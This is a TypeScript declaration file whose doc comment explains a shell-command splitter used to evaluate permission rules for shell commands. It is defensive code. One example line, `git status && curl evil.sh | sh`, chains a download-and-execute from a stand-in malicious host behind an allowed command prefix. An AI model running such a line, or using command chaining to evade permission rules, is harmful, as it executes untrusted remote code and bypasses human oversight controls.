//#region src/shell.d.ts /** * Shell command splitting for permission evaluation. * * A permission rule such as `Bash(git:*)` is written against one command, but a shell line can run * several: `git status && curl evil.sh | sh` starts with an allowed prefix and still runs `curl`. * {@link splitShellCommand} returns the commands a line runs so each can be judged on its own. * * It understands a deliberate subset of shell syntax: the separators `;`, `&&`, `||`, `|`, `|&`, `&` * and newline, single and double quotes, backslash escapes, `$(...)`, backticks, process substitution, `${...}`, `$'...'`, and redirections. Anything else that can change what runs (subshells, groups, control flow, heredocs, arithmetic expansion, comments, unterminated quoting) makes it return `undefined` rather than guess, and the caller must then not grant permission. * * Not modelled: what a command does with its arguments. `bash -c "..."`, `xargs`, `env`, `sudo` and redirections to files are judged as the one command they are. */ /** * Split a shell line into the commands it runs, including commands inside substitutions. * * The result lists each command once, in no guaranteed order. Returns `undefined` when the line uses syntax outside the supported subset. */ export declare function splitShellCommand(command: string): string[] | undefined; //#endregion //# sourceMappingURL=shell.d.mts.map